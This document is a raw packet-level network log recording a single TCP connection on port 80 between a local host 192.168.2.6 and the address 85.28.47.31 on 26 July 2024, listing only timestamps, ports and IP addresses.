Jul 26, 2024 10:36:08.314882040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.314894915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.314943075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.314943075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.315078974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.315094948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.315109015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.315124035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.315149069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.315196037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.315196037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.315459967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.315606117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316164970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316237926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316248894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316262960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316303015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316339016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316649914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316665888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316682100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316695929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316724062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316724062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316777945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316890001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316905975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316919088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316934109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316947937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.316963911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.316963911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.317025900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.317393064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317409992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317424059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317440033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317455053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317467928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.317467928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.317514896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.317925930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317940950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317977905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.317994118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318007946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318007946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318008900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318027020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318032026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318043947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318072081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318099022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318823099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318846941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318861008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318875074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.318907022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318907022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.318941116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.402803898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402818918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402833939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402848959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402863979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402879000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402880907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.402894974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402918100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402929068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.402934074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402951002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402965069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402973890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.402980089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.402996063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.403011084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.403023005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.403023005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.403042078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.403098106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405534983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405550957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405565023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405591965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405603886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405621052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405636072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405649900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405652046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405652046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405666113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405689001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405695915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405704975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.405740976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.405828953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.418987989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419004917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419018030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419106007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.419106007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.419831038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419883013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419889927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.419899940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.419939041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.419972897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420077085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420092106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420137882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420167923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420217991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420274973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420301914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420319080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420334101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420348883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.420352936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420393944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.420416117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.423870087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423886061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423898935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423922062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423934937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.423938036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423954010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.423969984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.423969984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424001932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424011946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424029112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424031973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424045086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424060106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424077988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424078941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424083948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424099922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424113989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424122095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424129009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424144983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424160004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424175024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424179077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424179077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424190998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424226046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424231052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424247026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424249887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424263954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424279928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424294949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.424315929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424315929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.424416065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.429738998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.429842949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.430017948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.430033922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.430058956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.430087090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.430917025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.430932999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.430985928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.430985928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.432332993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.432348967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.432410002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.432410002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.433316946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.433332920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.433389902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.433389902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.434309959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.434326887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.434365034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.434390068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.435358047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.435374975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.435389996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.435412884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.435480118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.436214924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.436229944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.436295033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.436295033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.437706947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.437724113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.437779903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.437779903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.439685106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.439702034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.439729929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.439765930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.440922022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.440937996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.440953016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.440972090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.441025972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.441735029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.441751957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.441821098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.441821098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443053007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443069935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443125963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443125963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443419933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443435907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443475008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443540096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443728924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443747044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.443799019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.443799019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.444561958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.444578886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.444593906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.444622993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.444669008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.445599079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.445616007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.445641994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.445707083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.446675062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.446691990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.446744919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.446744919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.447706938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.447724104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.447753906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.447799921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.448745966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.448762894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.448776960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.448786020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.448826075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.449803114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.449819088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.449852943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.449949980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.450834036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.450889111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.488435030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.488519907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.488655090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.488671064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.488742113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.488742113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.489608049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.489624023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.489803076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.490648985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.490664959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.490746021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.490799904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.491705894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.491723061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.491784096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.491784096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.493032932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.493051052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.493108988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.493108988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.493796110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.493813992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.493828058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.493865013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.493890047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.494839907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.494857073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.494932890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.494932890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.495888948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.495910883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.495954037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.495986938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.496722937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.496740103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.496794939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.496794939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.497685909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.497704029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.497716904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.497782946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.497782946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.498372078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.498397112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.498469114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.498469114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.499217987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.499234915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.499279022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.499294043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.499739885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.499756098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.499800920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.500477076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.500500917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.500536919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.500566959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.501337051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.501353979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.501390934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.501447916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.502161026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.502183914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.502235889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.502235889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.502990961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.503007889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.503057003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.503057003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.503865004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.503880978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.503895044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.503918886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.503947020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.504666090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.504683018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.504754066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.504754066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.505475044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.505491972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.505506039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:08.505542994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.505568027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:08.506313086 CEST	80	49710	85.28.47.31	192.168.2.6
